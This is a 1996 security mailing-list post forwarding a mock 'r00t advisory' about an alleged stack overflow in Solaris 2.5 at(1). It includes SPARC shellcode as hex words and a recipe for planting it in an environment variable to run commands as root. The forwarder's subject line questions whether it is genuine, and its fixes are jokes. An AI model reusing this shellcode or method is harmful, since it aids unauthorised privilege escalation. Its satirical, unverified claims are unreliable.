From best-of-security-request@suburbia.net Mon Aug 26 10:22:10 1996
Resent-Date: Tue, 27 Aug 1996 00:18:17 +1000
Date: Mon, 26 Aug 1996 23:49:17 +1000
From: Don Framer <swoop@suburbia.net>
To: proff@suburbia.net
Sender: proff@suburbia.net
Resent-From: best-of-security@suburbia.net
X-Mailing-List: <best-of-security@suburbia.net> archive/latest/274
X-Loop: best-of-security@suburbia.net
Precedence: list
Resent-Sender: best-of-security-request@suburbia.net
Subject: BoS: bullshit?

r00t advisory						[ sol 2.5 at(1) ]
							[ Aug 24 1996   ]

-- Synposis
There exists a vunerability in the at(1) program that will allow any user
to execute arbitray commands as r00t.  The at program will gladly overflow
it's stack with whatever data is passed to it on the command line.

-- Exploitability
r00t has tested this vunerability and successfully run the id(1) program as
euid r00t from a non root account.  By making an environment variable contain
native machine code and passing it as a paramater to the at(1) program you
may force at to execute your code as r00t.

Machine code such as the following makes a fine example:
   unsigned exec[INSTRUCTIONS]= {
	    0x9fc0202c,
	    0xc0247ff5,
	    0xe227bff0,
	    0xc027bff4,
	    0x9207bff0,
	    0x901d200a,
	    0x901a200a,
	    0x8210203b,
	    0x91d02008,
	    0x82102001,
	    0x91d02008,
	    0xa3c3e004
	};
    char *cmd="/bin/id";

For this exploit to work a malicous hacker would have to fill an environ 
variable with garbage (well, nops or equiv), and the above machine code
followed immediately by the cmd string.

-- Fixes ?

In the spirit of past advisories, our first suggestion is to downgrade to a 
UNIX so old that it doesn't yet contain the at(1) feature.  If that is not
a viable option for you, then perhaps you should just chmod 755 /bin/at.

r00t -- moving at the speed of business.